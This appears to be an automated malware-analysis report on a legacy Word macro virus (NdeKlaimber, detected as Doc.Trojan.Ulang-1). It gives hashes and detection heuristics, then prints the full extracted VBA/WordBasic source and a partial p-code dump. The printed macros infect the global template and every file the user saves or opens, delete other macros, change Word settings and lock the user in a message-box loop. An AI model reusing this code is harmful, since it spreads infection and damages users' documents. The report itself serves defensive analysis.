Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f5ec006d81003a2…

MALICIOUS

Office (OLE)

53.5 KB Created: 1998-04-18 21:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 28fb33e439de46aa149ff74ed5946e9c SHA-1: 0e63837a2758d37260151e5a42e6001675e4321f SHA-256: 1f5ec006d81003a245f594b55329983c0bc9a5607dc053d20af09c14ee92725c
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code automatically when the document is opened. The ClamAV detection of 'Doc.Trojan.Ulang-1' further confirms its malicious nature. No specific IOCs like URLs or file paths were extracted from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Ulang-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ulang-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
        NMakro$ = NFile$ + ":AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33696 bytes
SHA-256: 4b4496c2cd30b25da10b297c493a857a1b101a79ad9bfc8593a109ecd9b4065a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ToolsCustomize"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsCustomize.MAIN"
Dim Pesan$
Pesan$ = "No such customize or command"
    WordBasic.MsgBox Pesan$, "NdeKlaimber Customize Err ##", 48
End Sub

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
Dim Pesan$
Pesan$ = "No such template or command"
    WordBasic.MsgBox Pesan$, "NdeKlaimber Template Err ##", 48
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
Dim Pesan$
Pesan$ = "No such macro or command"
    WordBasic.MsgBox Pesan$, "NdeKlaimber Macro Err ##", 48
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim Lakukan
Dim NFile$
Dim NMakro$
WordBasic.FileSave
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
Lakukan = WordBasic.Dialog.FileSaveAs(dlg)
If Lakukan Then
    dlg.Format = 1
    WordBasic.FileSaveAs dlg
NFile$ = WordBasic.[FileName$]()
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoExec", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy "Global:AutoOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy "Global:FileOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy "Global:FileSave", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileTemplates"
    WordBasic.MacroCopy "Global:FileTemplates", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileMacro"
    WordBasic.MacroCopy "Global:FileMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsMacro"
    WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsCustomize"
    WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
End If
Akhir:
End Sub

Attribute VB_Name = "FileMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileMacro.MAIN"
Dim Pesan$
Pesan$ = "No such macro or command"
    WordBasic.MsgBox Pesan$, "NdeKlaimber Macro Err ##", 48
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim Lakukan
Dim NFile$
Dim NMakro$
WordBasic.FileSave
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
Lakukan = WordBasic.Dialog.FileSaveAs(dlg)
If Lakukan Then
    dlg.Format = 1
    WordBasic.FileSaveAs dlg
NFile$ = WordBasic.[FileName$]()
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoExec", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy "Global:AutoOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy "Global:FileOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy "Global:FileSave", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileTemplates"
    WordBasic.MacroCopy "Global:FileTemplates", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileMacro"
    WordBasic.MacroCopy "Global:FileMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsMacro"
    WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsCustomize"
    WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
End If
Akhir:
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim TotalMacro
Dim i
Dim MN$
Dim FN$
Dim NFile$
Dim NMakro$
ReDim BadMacro__$(20)
WordBasic.DisableAutoMacros 1
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
On Error GoTo -1: On Error GoTo Akhir
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
TotalMacro = 0
For i = 1 To WordBasic.CountMacros(1)
    MN$ = WordBasic.[MacroName$](i, 1)
    BadMacro__$(i) = MN$
    TotalMacro = TotalMacro + 1
Next i
FN$ = WordBasic.[FileName$]()
If TotalMacro >= 1 Then
    For i = 1 To TotalMacro
        On Error GoTo -1: On Error GoTo Akhir
        WordBasic.Organizer Delete:=1, Source:=FN$, Name:=BadMacro__$(i), Tab:=3
    Next i
WordBasic.FileSave
End If
NFile$ = WordBasic.[FileName$]()
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoExec", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy "Global:AutoOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy "Global:FileOpen", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy "Global:FileSave", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileTemplates"
    WordBasic.MacroCopy "Global:FileTemplates", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileMacro"
    WordBasic.MacroCopy "Global:FileMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsMacro"
    WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsCustomize"
    WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
Akhir:
WordBasic.FileSave
WordBasic.DisableAutoMacros 0
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim NFile$
Dim NMakro$
NFile$ = WordBasic.[FileName$]()
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy NMakro$, "Global:AutoExec"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy NMakro$, "Global:AutoOpen"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy NMakro$, "Global:FileOpen"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy NMakro$, "Global:FileSave"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSaveAs"
    WordBasic.MacroCopy NMakro$, "Global:FileSaveAs"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileTemplates"
    WordBasic.MacroCopy NMakro$, "Global:FileTemplates"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileMacro"
    WordBasic.MacroCopy NMakro$, "Global:FileMacro"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsMacro"
    WordBasic.MacroCopy NMakro$, "Global:ToolsMacro"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":ToolsCustomize"
    WordBasic.MacroCopy NMakro$, "Global:ToolsCustomize"
Akhir:
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
Dim Tgl
Dim Bln
Dim Thn
Dim Jam
Dim Lebar
Dim Tinggi
Dim BarOK
Dim LebOK
Dim Pelaku$
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Tgl = WordBasic.Day(WordBasic.Now())
Bln = WordBasic.Month(WordBasic.Now())
Thn = WordBasic.Year(WordBasic.Now())
Jam = WordBasic.Hour(WordBasic.Now())
Dim Pesan1$, Pesan2$, Pesan3$, Pesan4$, Pelaku1$, Pelaku2$
Pesan1$ = "Berawal dari sebuah kepedihan... NdeKlaimber™ dicampakkan dan dihinakan... terpuruk bagaikan sampah busuk... NdeKlaimber™ merintih dengan segumpal dendam mendidih !!!"
Pesan2$ = "Kini saatnya NdeKlaimber™ menunjukkan... masih adanya kekuatan untuk membungkam mulut-mulut tak berperasaan... sebab hasrat untuk menjadi yang terbaik adalah sesuatu yang sangat manusiawi... NdeKlaimber™ manangis harus melibatkan semua orang."
Pesan3$ = "©1997 NdeKlaimber™                  I'm Coming..."
Pelaku1$ = "NdeKlaimber"
Pelaku2$ = "Pakis Pratiwi"
If Thn < 1998 Then GoTo HUT
If Jam < 19 Then GoTo Akhir
Dim dlg As Object
    Lebar = 400
    Tinggi = 200
    BarOK = Tinggi - 25
    LebOK = Lebar - 40
    WordBasic.BeginDialog Lebar, Tinggi, " NdeKlaimber Menggugat ..."
        WordBasic.Text 20, 10, LebOK, 150, Pesan1$
        WordBasic.Text 20, 78, LebOK, 120, Pesan2$
        WordBasic.Text 20, 160, LebOK, 20, Pesan3$
        WordBasic.OKButton 20, BarOK, LebOK, 20
    WordBasic.EndDialog
Set dlg = WordBasic.CurValues.UserDialog
WordBasic.Dialog.UserDialog dlg
HUT:
If Tgl = 20 And Bln = 11 Then
    Pelaku$ = Pelaku1$
    GoTo Ultah
ElseIf Tgl = 19 And Bln = 8 Then
    Pelaku$ = Pelaku2$
    GoTo Ultah
End If
GoTo Lanjut
Ultah:
    Pesan4$ = "Hari ini " + Pelaku$ + " merayakan Hari Ulang Tahun... Matikan komputer, tinggalkan semua pekerjaan, istirahatkan pikiran, ucapkan selamat kepada " + Pelaku$ + "."
    WordBasic.Beep
    WordBasic.MsgBox Pesan4$, "Happy Birthday, " + Pelaku$ + "...", 16
    GoTo Ultah
Lanjut:
WordBasic.ToolsOptionsSave CreateBackup:=0, FastSaves:=0, SummaryPrompt:=0, GlobalDotPrompt:=0, NativePictureFormat:=0, EmbedFonts:=0, FormsData:=0, AutoSave:=1, SaveInterval:="5", Password:="", WritePassword:="", RecommendReadOnly:=0
WordBasic.ToolsOptionsGeneral Pagination:=1, WPHelp:=0, WPDocNavKeys:=0, BlueScreen:=0, ErrorBeeps:=1, Effects3d:=1, UpdateLinks:=1, SendMailAttach:=1, RecentFiles:=0, RecentFileCount:="", Units:=1, ButtonFieldClicks:=-1
WordBasic.ToolsOptionsUserInfo Name:="Pakis Pratiwi", Initials:="Tiwi", Address:="Pupus sudah asa NdeKlaimber™ mencari" + Chr(13) + "Alamat nyata belum jua terberi" + Chr(13) + "Kalau saudaraku sudi memberi" + Chr(13) + "Informasi NdeKlaimber™ menanti" + Chr(13) + "Seribu hatur kasih NdeKlaimber™ pasti"
Akhir:
End Sub

' Processing file: /tmp/qstore_vffglhm8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/ToolsCustomize - 1360 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Pesan
' Line #3:
' 	LitStr 0x001C "No such customize or command"
' 	St Pesan$ 
' Line #4:
' 	Ld Pesan$ 
' 	LitStr 0x001C "NdeKlaimber Customize Err ##"
' 	LitDI2 0x0030 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #5:
' 	EndSub 
' Macros/VBA/FileTemplates - 1353 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Pesan
' Line #3:
' 	LitStr 0x001B "No such template or command"
' 	St Pesan$ 
' Line #4:
' 	Ld Pesan$ 
' 	LitStr 0x001B "NdeKlaimber Template Err ##"
' 	LitDI2 0x0030 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #5:
' 	EndSub 
' Macros/VBA/ToolsMacro - 1341 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Pesan
' Line #3:
' 	LitStr 0x0018 "No such macro or command"
' 	St Pesan$ 
' Line #4:
' 	Ld Pesan$ 
' 	LitStr 0x0018 "NdeKlaimber Macro Err ##"
' 	LitDI2 0x0030 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #5:
' 	EndSub 
' Macros/VBA/FileSaveAs - 3005 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Lakukan
' Line #3:
' 	Dim 
' 	VarDefn NFile
' Line #4:
' 	Dim 
' 	VarDefn NMakro
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	St Lakukan 
' Line #9:
' 	Ld Lakukan 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #11:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St NFile$ 
' Line #13:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoExec"
' 	Add 
' 	St NMakro$ 
' Line #14:
' 	LitStr 0x000F "Global:AutoExec"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #16:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St NMakro$ 
' Line #17:
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #19:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileOpen"
' 	Add 
' 	St NMakro$ 
' Line #20:
' 	LitStr 0x000F "Global:FileOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #22:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileSave"
' 	Add 
' 	St NMakro$ 
' Line #23:
' 	LitStr 0x000F "Global:FileSave"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #25:
' 	Ld NFile$ 
' 	LitStr 0x000B ":FileSaveAs"
' 	Add 
' 	St NMakro$ 
' Line #26:
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #28:
' 	Ld NFile$ 
' 	LitStr 0x000E ":FileTemplates"
' 	Add 
' 	St NMakro$ 
' Line #29:
' 	LitStr 0x0014 "Global:FileTemplates"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #30:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #31:
' 	Ld NFile$ 
' 	LitStr 0x000A ":FileMacro"
' 	Add 
' 	St NMakro$ 
' Line #32:
' 	LitStr 0x0010 "Global:FileMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #33:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #34:
' 	Ld NFile$ 
' 	LitStr 0x000B ":ToolsMacro"
' 	Add 
' 	St NMakro$ 
' Line #35:
' 	LitStr 0x0011 "Global:ToolsMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #36:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #37:
' 	Ld NFile$ 
' 	LitStr 0x000F ":ToolsCustomize"
' 	Add 
' 	St NMakro$ 
' Line #38:
' 	LitStr 0x0015 "Global:ToolsCustomize"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Label Akhir 
' Line #41:
' 	EndSub 
' Macros/VBA/FileMacro - 1340 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Pesan
' Line #3:
' 	LitStr 0x0018 "No such macro or command"
' 	St Pesan$ 
' Line #4:
' 	Ld Pesan$ 
' 	LitStr 0x0018 "NdeKlaimber Macro Err ##"
' 	LitDI2 0x0030 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #5:
' 	EndSub 
' Macros/VBA/FileSave - 3008 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Lakukan
' Line #3:
' 	Dim 
' 	VarDefn NFile
' Line #4:
' 	Dim 
' 	VarDefn NMakro
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	St Lakukan 
' Line #9:
' 	Ld Lakukan 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #11:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St NFile$ 
' Line #13:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoExec"
' 	Add 
' 	St NMakro$ 
' Line #14:
' 	LitStr 0x000F "Global:AutoExec"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #16:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St NMakro$ 
' Line #17:
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #19:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileOpen"
' 	Add 
' 	St NMakro$ 
' Line #20:
' 	LitStr 0x000F "Global:FileOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #22:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileSave"
' 	Add 
' 	St NMakro$ 
' Line #23:
' 	LitStr 0x000F "Global:FileSave"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #25:
' 	Ld NFile$ 
' 	LitStr 0x000B ":FileSaveAs"
' 	Add 
' 	St NMakro$ 
' Line #26:
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #28:
' 	Ld NFile$ 
' 	LitStr 0x000E ":FileTemplates"
' 	Add 
' 	St NMakro$ 
' Line #29:
' 	LitStr 0x0014 "Global:FileTemplates"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #30:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #31:
' 	Ld NFile$ 
' 	LitStr 0x000A ":FileMacro"
' 	Add 
' 	St NMakro$ 
' Line #32:
' 	LitStr 0x0010 "Global:FileMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #33:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #34:
' 	Ld NFile$ 
' 	LitStr 0x000B ":ToolsMacro"
' 	Add 
' 	St NMakro$ 
' Line #35:
' 	LitStr 0x0011 "Global:ToolsMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #36:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #37:
' 	Ld NFile$ 
' 	LitStr 0x000F ":ToolsCustomize"
' 	Add 
' 	St NMakro$ 
' Line #38:
' 	LitStr 0x0015 "Global:ToolsCustomize"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Label Akhir 
' Line #41:
' 	EndSub 
' Macros/VBA/FileOpen - 3861 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn TotalMacro
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn MN
' Line #5:
' 	Dim 
' 	VarDefn FN
' Line #6:
' 	Dim 
' 	VarDefn NFile
' Line #7:
' 	Dim 
' 	VarDefn NMakro
' Line #8:
' 	OptionBase 
' 	LitDI2 0x0014 
' 	Redim BadMacro__$ 0x0001 (As String)
' Line #9:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #10:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileOpen 0x0001 
' 	Set dlg 
' Line #11:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileOpen 0x0001 
' Line #12:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #13:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileOpen 0x0001 
' Line #14:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileOpen 0x0001 
' Line #15:
' 	LitDI2 0x0000 
' 	St TotalMacro 
' Line #16:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	For 
' Line #17:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	St MN$ 
' Line #18:
' 	Ld MN$ 
' 	Ld i 
' 	ArgsSt BadMacro__$ 0x0001 
' Line #19:
' 	Ld TotalMacro 
' 	LitDI2 0x0001 
' 	Add 
' 	St TotalMacro 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St FN$ 
' Line #22:
' 	Ld TotalMacro 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #23:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TotalMacro 
' 	For 
' Line #24:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #25:
' 	LitDI2 0x0001 
' 	ParamNamed Delete 
' 	Ld FN$ 
' 	ParamNamed Source 
' 	Ld i 
' 	ArgsLd BadMacro__$ 0x0001 
' 	ParamNamed New 
' 	LitDI2 0x0003 
' 	ParamNamed Text 
' 	Ld WordBasic 
